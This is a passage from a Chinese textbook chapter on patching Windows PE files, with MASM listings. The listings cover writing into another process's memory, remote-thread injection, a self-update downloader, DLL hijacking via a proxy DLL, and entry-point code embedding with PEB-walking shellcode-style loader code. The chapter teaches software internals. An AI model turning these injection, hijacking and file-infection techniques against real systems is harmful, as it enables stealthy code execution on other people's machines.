    {"text": "代码清单13-1 读写进程内存的函数_writeToPEInfo（chapter13\\DPatchPEInfo.asm） 1 ;-------------------- 2 ;读写内存示例 3 ;测试方法：首先运行PEInfo.exe 4 ;显示Kernel32.dll的信息 5 ;启动该程序,在kernel32.dll显示重定位时单击菜单第一项 6 ;会发现PEInfo.exe的遍历重定位信息被终止 7 ;-------------------- 8 _writeToPEInfo proc 9 pushad 10 11 ;通过标题获得进程的handle 12 invoke GetDesktopWindow 13 invoke GetWindow,eax,GW_CHILD 14 invoke GetWindow,eax,GW_HWNDFIRST 15 mov phwnd,eax 16 invoke GetParent,eax 17 .if!eax 18 mov parent,1 19 .endif 20 21 mov eax,phwnd 22 .while eax 23 .if parent 24 mov parent,0 ;复位标志 25 ;得到窗口标题文字 26 invoke GetWindowText,phwnd,addr strTitle,\\ 27 sizeof strTitle 28 nop 29 invoke lstrcmp,addr strTitle,addr szTitle 30 .if!eax 31 mov eax,phwnd 32 .break 33 .endif 34 .endif 35 36 ;寻找这个窗口的下一个兄弟窗口 37 invoke GetWindow,phwnd,GW_HWNDNEXT 38 mov phwnd,eax 39 invoke GetParent,eax 40 .if!eax 41 invoke IsWindowVisible,phwnd 42 .if eax 43 mov parent,1 44 .endif 45 .endif 46 mov eax,phwnd 47 .endw 48 49 ;mov eax,phwnd 50 ;invoke wsprintf,addr szBuffer,addr szOut1,eax 51 ;invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 52 53 ;根据窗口句柄获取进程ID 54 invoke GetWindowThreadProcessId,phwnd,addr hProcessID 55 56 ;mov eax,hProcessID 57 ;invoke wsprintf,addr szBuffer,addr szOut2,eax 58 ;invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 59 60 invoke OpenProcess,PROCESS_ALL_ACCESS,\\ 61 FALSE,hProcessID 62 .if!eax 63 invoke MessageBox,NULL,addr szErr1,NULL,MB_OK 64 jmp @ret 65 .endif 66 mov hProcess,eax ;找到的进程句柄在hProcess中 67 68 69 ;invoke wsprintf,addr szBuffer,addr szOut3,eax 70 ;invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 71 72 73 ;将进程挂起 74 ;invoke _suspendProcess,hProcess 75 76 ;读内存 77 invoke ReadProcessMemory,hProcess,STOP_FLAG_POSITION,\\ 78 addr dwFlag,4,NULL 79 .if eax 80 ;mov eax,dwFlag 81 ;invoke wsprintf,addr szBuffer,addr szOut,eax 82 ;invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 83 84 ;写内存，将标志位赋值 85 invoke WriteProcessMemory,hProcess,\\ 86 STOP_FLAG_POSITION,\\ 87 addr dwPatchDD,4,NULL 88 .else 89 invoke MessageBox,NULL,addr szErr2,NULL,MB_OK 90 jmp @ret 91 .endif 92 93 ;继续进程的运行 94 ;invoke _resumeProcess,hProcess 95 invoke CloseHandle,hProcess 96 97 @ret: 98 popad 99 ret 100 _writeToPEInfo endp STOP_FLAG_POSITION是PEInfo.asm中定义的标志dwFlag所在进程地址空间中的VA值。"},
    {"text": "该位置可以通过以下方法计算出来： 首先，找到dwFlag变量在文件中的位置（加黑部分）： 如上所示，标志字节dwFlag在文件地址0x00002510处。"},
    {"text": "通过PEInfo小工具查看该文件的所有的节的相关信息，结果如下： 根据RVA和FOA的换算关系可以得出，停止标志位的内存地址（VA）为：0x00404115。"},
    {"text": "整体思路是：当PEInfo小工具运行时，如果用户发现要获取的信息已经输出，则可以通过另外一个程序终止PEInfo代码的运行（注意，不是终止进程的运行），看起来好像这个补丁程序也参与了PEInfo指令代码的流程控制过程。"},
    {"text": "扩展阅读 关于热补 通常情况下，补丁程序总是在被补丁的程序后期开发的，有时候，为了后期补丁方便，有些程序会事先给自己留一个“后门”。"},
    {"text": "比如，微软的大部分内核函数，检查Windows的ntdll.dll中大部分函数的源代码，其起始位置的代码看起来总是这样的： MOV EDI,EDI PUSH EBP MOV EBP,ESP \"mov edi,edi\"指令为两个字节，可以存放短跳转指令，短跳转指令指向的位置可以存放一个指向长跳转指令的地址，从而在运行期实现热补（hotfix）。"},
    {"text": "核心函数包括： （2）调用ToolHelp API提供的函数 ToolHelp32函数是一组存储在Kernel32.dll中的Windows API函数，它能够通过Snapshot获得驻留在系统内存中的进程表、线程表、模块表和堆表。"},
    {"text": "核心函数包括： （3）调用ntdll.dll中未公开的API函数 在ntdll.dll中，有一组以NtQuery开头的函数集，利用其中的函数可以获取系统相关数据结构的信息，其中就包括进程信息。"},
    {"text": "核心函数包括： （4）调用PDH.DLL中的API函数 PDH（Performance Data Helper，性能数据辅助数据库）中包含了大量的信息，例如CPU使用率、内存使用率、系统进程信息等；"},
    {"text": "核心函数包括： 2.遍历系统进程示例分析 下面以第二种方法为例，即调用ToolHelp API提供的函数，实现遍历系统进程，以获取指定进程关联模块列表。"},
    {"text": "代码清单13-2 获取指定进程关联模块列表函数（chapter13\\qltools.asm） 1 ;----------------------- 2 ;获取指定进程关联模块列表 3 ;----------------------- 4 _GetModuleList proc uses ebx esi edi processID:DWORD 5 local temp:BOOL 6 7 invoke SendMessage,hModuleShowList,LB_RESETCONTENT,0,0 8 mov ebx,processID 9 invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,ebx 10 mov hModuleSnapshot,eax 11 invoke Module32First,hModuleSnapshot,addr process _ME 12 13 mov temp,eax 14 .while temp 15 .if process _ME.th32ProcessID == ebx 16 invoke SendMessage,hModuleShowList,LB_ADDSTRING,\\ 17 0,addr process _ME.szExePath 18 .endif 19 invoke Module32Next,hModuleSnapshot,addr process _ME 20 mov temp,eax 21 .endw 22 ret 23 _GetModuleList endp 24 25 ;----------------------- 26 ;获取进程列表 27 ;----------------------- 28 _GetProcessList proc _hWnd 29 local temp:BOOL 30 31 invoke RtlZeroMemory,addr process _PE,sizeof process _PE 32 invoke SendMessage,hProcessListBox,LB_RESETCONTENT,0,0 33 mov process _PE.dwSize,sizeof process _PE 34 invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 35 mov hProcessSnapshot,eax 36 37 invoke Process32First,hProcessSnapshot,addr process _PE 38 .while eax 39 invoke SendMessage,hProcessListBox,LB_ADDSTRING,\\ 40 0,addr process _PE.szExeFile 41 invoke SendMessage,hProcessListBox,LB_SETITEMDATA,eax,\\ 42 process _PE.th32ProcessID 43 invoke Process32Next,hProcessSnapshot,addr process _PE 44 .endw 45 invoke CloseHandle,hProcessSnapshot 46 ;选中第一项 47 invoke SendMessage,hProcessListBox,LB_SETCURSEL,0,0 48 invoke SendMessage,hProcessListBox,LB_GETITEMDATA,eax,0 49 invoke _GetModuleList,eax 50 51 invoke GetDlgItem,_hWnd,IDOK 52 invoke EnableWindow,eax,FALSE 53 ret 54 _GetProcessList endp 行34通过调用函数CreateToolhelp32Snapshot获取Snapshot。"},
    {"text": "主程序通过以下代码调用两个函数： ;-------------------------- ;结束进程窗口程序 ;-------------------------- _ProcKillMain proc uses ebx edi esi hProcessKillDlg:HWND,wMsg,wParam,lParam mov eax,wMsg .if eax == WM_CLOSE invoke EndDialog,hProcessKillDlg,NULL .elseif eax == WM_INITDIALOG invoke GetDlgItem,hProcessKillDlg,IDC_PROCESS mov hProcessListBox,eax invoke GetDlgItem,hProcessKillDlg,IDC_PROCESS_MODEL mov hModuleShowList,eax ;显示进程，并把第一项进程的映射模块也显示出来 invoke _GetProcessList,hProcessKillDlg .elseif eax == WM_COMMAND mov eax,wParam .if ax == IDOK invoke SendMessage,hProcessListBox,LB_GETCURSEL,0,0 invoke SendMessage,hProcessListBox,\\ LB_GETITEMDATA,eax,0 invoke _RunThread,eax invoke Sleep,200 invoke _GetProcessList,hProcessKillDlg jmp @F invoke MessageBox,hProcessKillDlg,addr szErrTerminate,\\ NULL,MB_OK or MB_ICONWARNING @@: .elseif ax == IDC_REFRESH invoke SendMessage,hProcessListBox,LB_RESETCONTENT,0,0 invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0 mov hProcessSnapshot,eax invoke _GetProcessList,hProcessKillDlg .elseif ax == IDC_PROCESS shr eax,16 .if ax == LBN_SELCHANGE invoke SendMessage,hProcessListBox,LB_GETCURSEL,0,0 invoke SendMessage,hProcessListBox,LB_GETITEMDATA,\\ eax,0 invoke _GetModuleList,eax ;重新显示映射的模块 invoke GetDlgItem,hProcessKillDlg,IDOK invoke EnableWindow,eax,TRUE .endif .endif .else mov eax,FALSE ret .endif mov eax,TRUE ret _ProcKillMain endp （2）测试运行 运行界面见图13-2。"},
    {"text": "13.1.4 执行远程线程 13.1.4 执行远程线程 大部分的动态补丁最后一步要实现代码的运行，即确保插入到目标进程内存的数据要具备运行权，并能最终运行起来。 在一个进程中要运行插入的代码，最好的办法就是通过远程线程技术，即将一段代码挂接到目标进程中，并指定代码块作为该目标进程的一个线程来运行。"},
    {"text": "（1）VirtualAllocEx函数 VirtualAllocEx函数内存分配函数的原型如下： LPVOID VirtualAllocEx( HANDLE hProcess,//申请内存所在的进程句柄 LPVOID lpAddress,//保留页面的内存地址，NULL表示自动分配 SIZE_T dwSize,//欲分配的内存大小 DWORD flAllocationType,//内存分配属性 DWORD flProtect//分配区页面属性 ); 其中各参数解释如下： 1）flAllocationType，内存分配属性，可取下列值： MEM_COMMIT，为特定的页面区域分配内存中或磁盘的页面文件中的物理存储。"},
    {"text": "2）FlProtect，分配区的页面属性，可取下列值： PAGE_READONLY区域为只读，如果应用程序试图访问区域中的页的时候，将会被拒绝访问。 PAGE_READWRITE区域可被应用程序读写。 PAGE_EXECUTE区域包含可被系统执行的代码。"},
    {"text": "（2）CreateRemoteThread函数 CreateRemoteThread函数的原型如下： HANDLE CreateRemoteThread( HANDLE hProcess,//目标进程句柄 LPSECURITY_ATTRIBUTES lpThreadAttributes,//安全属性 SIZE_T dwStackSize,//线程栈大小 LPTHREAD_START_ROUTINE lpStartAddress,//线程起始地址 LPVOID lpParameter,//传入参数 DWORD dwCreationFlags,//创建标志字 LPDWORD lpThreadId//（输出）线程句柄 ); 各参数解释如下： 1）hProcess，目标进程句柄。"},
    {"text": "7）lpThreadId，（输出），返回线程号，如果为NULL，则不返回。 8）返回值：如果成功返回新线程句柄，失败返回NULL，并且可调用GetLastError获得错误值。"},
    {"text": "行309～352通过遍历并匹配操作系统打开的窗口标题得到PEInfo进程的进程号。 行358～364使用函数OpenProcess打开PEInfo进程。 行370～373使用函数VirtualAllocEx在打开的PEInfo进程中分配内存。"},
    {"text": "13.2 静态补丁 13.2 静态补丁 13.1节介绍的动态补丁是针对PE映像内存空间的，本节要介绍的静态补丁技术则是针对PE本身及相关联文件的。"},
    {"text": "静态补丁常用于PE加密、汉化、软件升级等领域。 静态补丁可以通过对PE文件进行整体替换、对动态链接库进行替换、部分修改PE文件，即向PE文件附加代码并劫持映像入口等技术来实现，下面将分别讲述。 13.2.1 整体替换PE文件 软件升级时，经常要做的事情就是对旧版的PE文件实施整体替换，下面以一个通过网络环境自动完成程序升级的例子来介绍这种静态补丁技术。 其基本思路如下： 1.设置网络升级环境 在网络上放置两个文件，一个是PE版本描述文件，一个是PE新版本文件。"},
    {"text": "在本例中分别为： http://10.112.132.100/version.ini http://10.112.132.100/soft/DPatchPEInfo_1_0.exe PE版本描述文件由客户端下载，并识别客户端当前部署的程序是否为新版本；"},
    {"text": "version.ini的内容如下： [DPatchPEInfo.exe] majorImageVersion=1 ;主版本 minorImageVersion=0 ;子版本 downloadfile=DPatchPEInfo_1_0.exe ;下载文件 [PEInfo.exe] majorImageVersion=1 minorImageVersion=1 downloadfile=PEInfo_1_1.exe …… version.ini文件中记录了两个可以升级的文件，通过这种方式可以定义更多的供客户升级的文件，每个文件均由以下三个项构成： majorImageVersion（程序主版本号） minorImageVersion（程序次版本号） downloadfile（部署在服务器上的该版本对应的文件名称） 2.用户执行升级程序 由用户运行升级程序update.exe，该程序从网络下载PE版本描述文件，并与当前PE文件版本进行比对；"},
    {"text": "在对比时，可以使用PE文件头部的两个字段： IMAGE_OPTIONAL_HEADER32.MajorImageVersion（记录主版本号） IMAGE_OPTIONAL_HEADER32.MinorImageVersion（记录次版本号） 主进程在释放update.exe以后，将该信息连同进程的PID号一起写入update.exe文件的指定位置，便于update.exe实施对比，下载文件与判断是否新版本的操作均在update.exe里完成。"},
    {"text": "3.完成新版本文件的替换 update.exe提示用户有新程序可升级，从服务器上下载version.ini中记录的新版本文件，结束当前运行的旧版本的PE文件对应的进程，并通过重命名的方式实现新版本文件与旧版本文件的替换。 注意 update.exe升级程序是以资源的形式存储到DPatchPEInfo.exe文件的，直到用户选择了升级菜单选项才被释放出来，并执行升级操作。"},
    {"text": "代码清单13-4 软件升级程序（chapter13\\update.asm） 1 ;------------------------ 2 ;软件升级程序 3 ;戚利 4 ;2010.11.28 5 ;------------------------ 6 .386 7 .model flat,stdcall 8 option casemap:none 9 10 include windows.inc 11 include user32.inc 12 includelib user32.lib 13 include kernel32.inc 14 includelib kernel32.lib 15 include urlmon.inc 16 includelib urlmon.lib 17 18 ;数据段 19 .data 20 szINI db '下载配置文件：http://10.112.132.100/version.ini',0 21 szIsNewVesion db '程序已经是最新版本',0 22 szLINI db '.\\_tmp.ini',0 23 24 hProcessID dd ? ;主进程释放时会修改此处的3个值 25 oldMajor dw 0 ;分别是：主程序进程号，主次旧版本的值 26 oldMinor dw 0 27 28 hProcess dd ? 29 newMajor dw 0 30 newMinor dw 0 31 32 szOut1 db '%s_%d_%d.exe',0 33 szOut2 db '下载补丁文件:http://10.112.132.100/soft/%s',0 ;要下载的EXE文件 34 szFailRead db 256 dup(0) 35 szSectionName db 'DPatchPEInfo.exe',0 ;针对不同的程序修改此处的值 36 szKeyName1 db 'majorImageVersion',0 37 szKeyName2 db 'minorImageVersion',0 38 szKeyName3 db 'downloadfile',0 39 40 41 stStartUp STARTUPINFO ＜?＞ 42 stProcInfo PROCESS_INFORMATION ＜?＞ 43 44 szExeFile db 256 dup(0) 45 szBuffer db 256 dup(0) 46 szDataBuffer db 256 dup(0) 47 ;代码段 48 .code 49 50 51 start: 52 invoke MessageBox,NULL,offset szINI,NULL,MB_OK 53 ;下载ini文件 54 invoke URLDownloadToFile,0,\\ 55 addr szINI, 56 addr szLINI,0,0 57 ;打开分析ini文件 58 invoke GetPrivateProfileInt,addr szSectionName,\\ 59 addr szKeyName1,\\ 60 0,\\ 61 addr szLINI 62 mov newMajor,ax 63 invoke GetPrivateProfileInt,addr szSectionName,\\ 64 addr szKeyName2,\\ 65 0,\\ 66 addr szLINI 67 mov newMinor,ax 68 69 ;判断是否是新版本PE 70 71 mov ax,newMajor 72 mov bx,newMinor 73 74 .if ax == oldMajor＆＆bx == oldMinor 75 76 ;显示已经是最新版本 77 invoke MessageBox,NULL,offset szIsNewVesion,NULL,MB_OK 78 79 .else 80 ;是新版本，下载该PE，并实施替换 81 82 ;取文件名DPatchPEInfo.exe_1_0.exe 83 84 invoke RtlZeroMemory,addr szDataBuffer,256 85 invoke GetPrivateProfileString,addr szSectionName,\\ 86 addr szKeyName3,\\ 87 NULL,\\ 88 addr szDataBuffer,\\ 89 sizeof szDataBuffer,\\ 90 addr szLINI ;取文件名 91 92 invoke wsprintf,addr szBuffer,addr szOut2,\\ 93 addr szDataBuffer 94 95 invoke MessageBox,NULL,addr szBuffer,NULL,MB_OK 96 97 ;下载EXE文件 98 invoke URLDownloadToFile,0,\\ 99 addr szBuffer, 100 addr szDataBuffer,0,0 101 102 103 ;结束当前主进程 104 invoke OpenProcess,PROCESS_ALL_ACCESS,\\ 105 FALSE,hProcessID 106 mov hProcess,eax 107 invoke Sleep,1000 108 109 invoke TerminateProcess,hProcess,0 110 invoke CloseHandle,hProcess 111 112 invoke Sleep,1000 113 ;将下载的文件替换为PE文件 114 invoke DeleteFile,addr szSectionName 115 invoke CopyFile,addr szDataBuffer,addr szSectionName,\\ 116 TRUE 117 invoke Sleep,1000 118 ;重启PE程序 119 invoke GetStartupInfo,addr stStartUp 120 invoke CreateProcess,NULL,addr szSectionName,NULL,NULL,\\ 121 NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,\\ 122 offset stStartUp,offset stProcInfo 123 .endif 124 125 invoke ExitProcess,NULL 126 end start 如代码清单所示，升级程序update.asm的主要思路是： 行53～56：调用函数URLDownloadToFile下载version.ini。"},
    {"text": "行57～67：调用函数GetPrivateProfileInt获取文件在服务器上的最新版本号（包含主版本和次版本）。 行71～74：用新获取到的版本号与旧版本号对比，判断文件是否需要更新。"},
    {"text": "DPatchPEInfo主程序要做的事情包括： （1）在资源文件中定义资源 在资源文件DPatchPEInfo.rc里定义资源IDB_UPDATE，资源的内容为update.exe文件的字节码： IDB_UPDATE UPDATE\"update.exe\" （2）在主程序代码中维护版本 在主程序开始定义两个常量，用来标识主程序的主版本和次版本。"},
    {"text": "MAJOR_IMAGE_VERSION=1 MINOR_IMAGE_VERSION=0 （3）编写调用升级补丁代码 在窗口回调函数中定义对菜单“选项”|“检查网络升级”的响应代码，如下所示： .elseif eax == IDM_1 ;升级程序 ;写入3个变量 invoke GetWindowThreadProcessId,hWnd,addr @value mov eax,@value mov ebx,0040528eh mov dword ptr [ebx],eax mov ax,MAJOR_IMAGE_VERSION mov word ptr [ebx+4],ax mov ax,MINOR_IMAGE_VERSION mov word ptr [ebx+6],ax ;释放update.exe程序 invoke _createDll,hInstance ;运行update.exe程序 invoke GetStartupInfo,addr stStartUp invoke CreateProcess,NULL,addr szSrcName,NULL,NULL,\\ NULL,NORMAL_PRIORITY_CLASS,NULL,NULL,\\ offset stStartUp,offset stProcInfo …… 4.运行测试 测试通过网络升级的详细步骤包括以下几步： 步骤1 正常编译update.asm源代码，链接update.obj生成update.exe文件。"},
    {"text": "rc -r DPatchPEInfo.rc ml -c -coff DPatchPEInfo.asm link-subsystem:windows-section:.text,ERW-section:.text,ERW DPatchPEInfo.obj DPatchPEInfo.res 步骤3 用OD打开DPatchPEInfo.exe，查找需要修正的两个位置。"},
    {"text": ";写入3个变量 invoke GetWindowThreadProcessId,hWnd,addr @value mov eax,@value mov ebx,0040528eh ;将该值修正为刚记录的值 mov dword ptr [ebx],eax mov ax,MAJOR_IMAGE_VERSION mov word ptr [ebx+4],ax mov ax,MINOR_IMAGE_VERSION mov word ptr [ebx+6],ax ;释放update.exe程序 invoke _createDll,hInstance 步骤5 重新执行步骤2操作，生成新的DPatchPEInfo.exe文件。"},
    {"text": "步骤6 在服务器上部署“升级文件”与“升级配置文件”，在客户端运行旧版本（通过修改两个常量可改变程序版本）的DPatchPEInfo进行升级。"},
    {"text": "13.2.2 整体替换DLL文件 13.2.2 整体替换DLL文件 Windows操作系统在运行程序时大量使用动态链接库技术，所以静态补丁的目标除了PE文件本身外，还包含与PE文件相关联的动态链接库文件。通过对导入函数的持有者DLL进行替换（专业术语为劫持），也可以实现针对PE的静态补丁。动态链接库劫持（DLL HOOK）技术经常用于病毒与反病毒程序领域。 1.静态DLL调用与动态DLL调用对比 DLL是用于向主程序提供函数调用的，在大多数的PE中，DLL是被PE加载器加载到进程地址空间的。PE程序对DLL的调用分为静态调用和动态调用两种，相对这两种不同的调用方法，DLL劫持的方法也不一样。 首先来看针对静态DLL调用的劫持。如果有恶意用户在加载前对DLL进行替换，使用一个自己定义的DLL替换程序原有的DLL，且保证替换后的DLL中存在原有DLL中所有函数的实现，那么，当进程运行调用到DLL的函数时，就等于运行了补丁后的DLL。向静态DLL调用中的主程序实施补丁的流程见图13-4。 图 13-4 静态DLL调用的DLL补丁调用流程 如图13-4所示，静态调用DLL的主程序在被加载器加载到内存前，就已经更换了主程序调用的动态链接库文件。主程序本来应该直接调用原始DLL的，通过定义补丁DLL，使得主程序的调用发生转向，而对原始DLL的调用则转由补丁DLL实现。 下面来看针对动态DLL调用的劫持。在有些情况下，如PE使用了动态加载技术或者使用了延迟加载导入技术，那就更简单了，在运行期替换DLL都可以。向动态DLL调用中的主程序实施补丁的流程见图13-5。 图 13-5 动态DLL调用的DLL补丁调用流程 在使用了动态DLL调用（如PE中存在延迟加载导入特性）的程序中，补丁DLL可以在加载前实施，也可以在运行期实施。而静态DLL调用的程序则只能在加载前执行补丁程序。 有一些DLL文件在程序部署时会被复制到系统目录中，与应用程序不在同一个目录，而PE加载器在加载DLL文件时会有一个搜索指定DLL文件的过程，这个过程会按照一个特定顺序的路径逐个查找，当前目录是这个搜索过程中第一个要查找的目录。只要将同名的DLL放置到与应用程序相同的目录下，使得加载程序认定该DLL即为要加载的DLL文件，这样DLL劫持就发生了。 注意 这里提到的动态DLL调用中的“动态”与动态补丁中的“动态”是完全不同的两个概念，动态DLL调用描述的是PE调用DLL的方式，动态补丁则是针对进程的。动态DLL调用与补丁是静态还是动态无关，读者不要被文字表象迷惑了。 2.动态DLL劫持实例 下面通过一个例子，介绍DLL劫持。本例中的PE文件使用了动态DLL调用，所以发生的劫持是基于动态DLL调用的，替换原始DLL文件的操作可以在运行前进行，也可以在运行期DLL中的函数未调用前进行。相关文件在随书文件的chapter13\\b目录中。以下是实例的详细步骤。 步骤1 编写新的DLL。 以winResult.dll为例，编写新的DLL，通过动态加载原始DLL获取原始DLL中函数的地址，相关代码如下： realDLL db 'C:\\windows\\winResult.dll',0 ;指定要动态加载的原始DLL文件 hDLL dd ? szFadeIn db 'FadeInOpen',0 szFadeOut db 'FadeOutClose',0 szHello db 'HelloWorldPE',0 _fadeOutClose _ApiFadeOutClose ? ;原始导出函数地址 _fadeInOpen _ApiFadeInOpen ? …… ;------------------ ;DLL入口在入口函数中动态调用原始DLL获取导出函数地址 ;------------------ DllEntry proc _hInstance,_dwReason,_dwReserved invoke LoadLibrary,offset realDLL mov hDLL,eax invoke GetProcAddress,hDLL,addr szFadeIn mov _fadeInOpen,eax invoke GetProcAddress,hDLL,addr szFadeOut mov _fadeOutClose,eax mov eax,TRUE ret DllEntry endp 对原始DLL的加载在新的DLL的入口函数中实现，加载后通过函数GetProcAddress获取原始DLL中各函数的地址，以备后用。 步骤2 重写导出方法。 在新DLL中的相关方法中，先执行补丁代码（这里显示一个对话框），然后跳转到正常的函数处执行。以FadeInOpen函数为例，相关代码如下： ;-------------------------------------------- ;窗口淡入效果，被劫持的API函数 ;-------------------------------------------- FadeInOpen proc hWin:DWORD invoke MessageBox,NULL,addr szHello,\\ ;模拟插入补丁代码 NULL,MB_OK invoke _fadeInOpen,hWin ;调用原始的函数实现函数功能 ret FadeInOpen endp 要想使劫持发生，需要具备以下三个条件： 1）原始的DLL被移动到系统目录，或者被更名。 2）新的DLL必须包含所有原始DLL导出的函数。 3）新的DLL在执行补丁程序后必须调用原始DLL函数相关代码。 对DLL的替换及相关的测试请读者自行完成。"},
    {"text": "13.2.3 部分修改PE文件 13.2.3 部分修改PE文件 与整体替换PE文件所不同的是，部分修改PE文件是向PE文件附加代码。这种静态补丁技术又被称为嵌入补丁技术，主要是利用PE变形技术将代码嵌入到原始PE文件里，然后修改程序流程转向以达到运行自己的目的。它也是PE进阶部分重点讨论的内容，本章随后还会用专门的一节（13.3节）来描述基于这种技术的汇编程序编写。 PE被加载到内存以后，将执行入口地址指向的代码，该地址由文件头部的字段IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint来决定。要想将成段代码嵌入到已发布的PE文件中，需要解决两个问题：一个是代码空间问题，另一个是流程转向问题。下面首先来看流程转向问题，有两种方法可以实现。关于空间的问题，在后续的章节中将依据不同的补丁方法单独描述。 第一种实现方法，利用补丁工具将入口地址修改为附加补丁代码的起始地址，并保存该原始的入口地址。当进程的第一个线程开始工作的时候，补丁程序先工作，在附加的补丁代码最后有一个跳转指令，由该跳转指令跳转到原始的入口地址处执行。 流程转向如图13-6所示。 图 13-6 将入口地址作为起始地址的流程转向 另一种方法是通过覆盖代码实现流程转向。这种方法不需要修改入口地址，而是通过修改入口地址处的代码来完成，流程转向如图13-7所示。 图 13-7 修改入口地址处代码的流程转向 与第一种方法一样，补丁程序自己要记录原始入口地址位置的指令字节码。完成功能返回该处前，首先恢复原始代码处的指令字节码内容，再完成跳转。 为了提高补丁代码的可移植性，补丁代码需要完全独立，即所有的代码尽量不与原代码发生关系（除了跳转以外），只有这样才能适应各种目标程序。要想实现这个目标，需要在编写补丁代码时，尽量使用局部（即栈）变量、重定位技术，以及动态DLL载入技术。"},
    {"text": "对嵌入补丁的讨论将会涉及补丁程序本身和补丁工具（将补丁合理合法地嵌入PE文件内部，而不影响PE运行的一个程序）。 本节主要讲补丁程序本身，因为补丁工具会因嵌入补丁所在PE中的位置不同而有所不同，所以补丁工具的编写将分别在接下来的第14～17章中介绍。"},
    {"text": "首先来看嵌入补丁程序框架。 13.3.1 嵌入补丁程序框架 框架是一项工作开始的基础，在第2章我们已经初步领略了使用框架的好处。 代码清单13-5是基于汇编语言的嵌入补丁程序框架。"},
    {"text": "13.3.2 嵌入补丁程序编写规则 13.3.2 嵌入补丁程序编写规则 在编写补丁程序程序时，必须考虑的因素有：对补丁代码中用到的全局变量的数据处理、通过DLL基地址和函数名获取其他函数地址的方法、补丁函数的调用方法等。下面分别介绍。 1.全局变量及局部变量的数据处理 对全局变量的引用需要考虑重定位问题，如下所示： 195 mov eax,offset szUser32Dll ;全局变量szUser32Dll存放了动态链接库名字字符串 196 add eax,ebx 在整个程序框架中，ebx寄存器存放了用于修正全局变量地址的值，获取的全局变量与ebx相加后即可得到重定位后的正确地址。 局部变量即为栈里的变量，可以直接操作，如： 201 mov hUser32Base,eax 2.获取DLL基地址方法 以下代码演示了如何获取某个特定DLL的基地址。该DLL以名称字符串标识，通过调用函数kernel32.dll!LoadLibraryA将指定的动态链接库加载进内存并得到该动态链接库的基地址。 194 ;获取user32.dll的基地址 195 mov eax,offset szUser32Dll ;DLL名字\"user32.dll\" 196 add eax,ebx ;修正地址 197 198 mov edx,_loadLib ;函数参数3，LoadLibraryA函数VA 199 push eax ;传入修正后的指向DLL名字的指针 200 call edx ;调用LoadLibraryA 3.获取其他函数地址 知道了函数所在动态链接库的基地址和函数的名字，通过调用函数GetProcAddress即可获取动态链接库中的导出函数的地址： 206 ;获取MessageBoxA的首址 207 mov eax,offset szMessageBox ;全局变量，需要修正 208 add eax,ebx 209 210 mov edx,_getAddr ;传入的参数2，局部变量，直接赋值 211 mov ecx,hUser32Base ;在函数中定义的局部变量，直接赋值 212 push eax ;将参数压入栈 213 push ecx 214 call edx ;调用函数GetProcAddress 215 mov _messageBox,eax ;在函数中定义的局部变量，直接赋值 4.补丁函数代码调用其他公有函数 如果在框架中添加了其他函数，那么，在调用这些函数的时候必须通过使用地址的方式，如下所示： 248 ;从基地址出发搜索GetProcAddress函数的首址 249 mov eax,offset szGetProcAddr 250 add eax,ebx 251 252 mov edi,hKernel32Base 253 mov ecx,edi 254 lea edx,_getApi；将公有函数_getApi的地址传给edx，全局变量，要修正 255 add edx,ebx 256 257 push eax 258 push ecx 259 call edx 260 mov _getProcAddress,eax 凡是全局变量（包含公用函数地址）均需要加ebx进行修正，局部变量（在栈中，如函数传递的参数，函数内部定义的变量等）则可以直接使用。 以上简单描述了使用嵌入补丁通用框架编程时需要注意的几个问题，下面来看通用补丁程序框架的字节码。 13.3.3 嵌入补丁字节码实例分析 13.3.3 嵌入补丁字节码实例分析 以下为HelloWorldPE补丁的字节码内容： 如上所示，字节码开始和结束都是跳转指令，前一个跳转指令跳转到该数据块的起始代码处运行，后一个跳转指令跳转到目标程序的入口地址处执行。 整个数据块具备良好的可移植性，通过下面的测试即可看出这一点。 测试目标定位为PEInfo.exe。将补丁字节码覆盖PEInfo入口地址（文件偏移0xF5F）开始的指令字节码，然后运行PEInfo.exe。你会发现PEInfo整个变成了HelloWorldPE程序。 对系统程序的测试如对记事本程序notepad.exe（文件偏移0x679d）的测试效果也是一样的，测试用的文件在随书文件的chapter13\\c目录中。 13.4 万能补丁码 13.4 万能补丁码 本节介绍一种基于嵌入补丁技术的万能补丁码，相关文件在随书文件chapter13\\d目录中。 13.4.1 原理 当一个进程动态加载外部DLL文件时，除了将DLL内容映射到内存外，还会执行DLL的入口函数；而动态加载DLL的API函数是kernel32.dll中的LoadLibraryX系列函数。所以，补丁代码需要做的工作就是找到内存中的kernel32.dll的基地址，然后查找其导出表获取LoadLibraryA的VA，该地址在该系统下肯定是可用的。执行该函数，加载特定的DLL程序（在万能补丁码的例子中为pa.dll），这个DLL的入口函数中存放着补丁代码。万能补丁码就是通过这种原理实现的一种补丁技术。因为其小巧，可移植性强，所以可用性比较高，图13-8展示了万能补丁工作原理。 补丁代码-1负责嵌入目标PE文件内部，执行加载动态链接库pa.dll的任务。在执行时会首先调用pa.dll的入口函数。在pa.dll的入口函数中，嵌入真正要打的补丁是补丁代码-2，通过这样一种传递方式，使得补丁程序可以脱离开目标PE文件而获得执行。这样生产的补丁代码具有更大的扩展空间，所以称为万能补丁码。下面介绍万能补丁码的源代码。 图 13-8 万能补丁工作原理示意图"},
    {"text": "13.4.2 源代码 13.4.2 源代码 代码清单13-6为万能补丁的源代码。 代码清单13-6 万能补丁源代码（chapter13\\d\\getLoadLib.asm） 1 include windows.inc 2 include user32.inc 3 includelib user32.lib 4 include kernel32.inc 5 includelib kernel32.lib 6 7 ;数据段 8 .data 9 10 szText db 'LoadLibrary的函数地址为：%08x',0 11 szOut db '%08x',0dh,0ah,0 12 szBuffer db 256 dup(0) 13 14 ;代码段 15 .code 16 17 start: 18 mov edi,edi 19 call loc0 20 db 'LoadLibraryA',0 ;特征函数名 21 db 'pa',0 ;动态链接库pa.dll 22 loc0: 23 pop edx ;edx中存放了特征函数名所在地址 24 push edx 25 26 push edx 27 28 assume fs:nothing 29 mov eax,fs:[30h] ;获取PEB所在地址 30 mov eax,[eax+0ch] ;获取PEB_LDR_DATA结构指针 31 mov esi,[eax+1ch] ;获取InInitializationOrderModuleList链表头 32 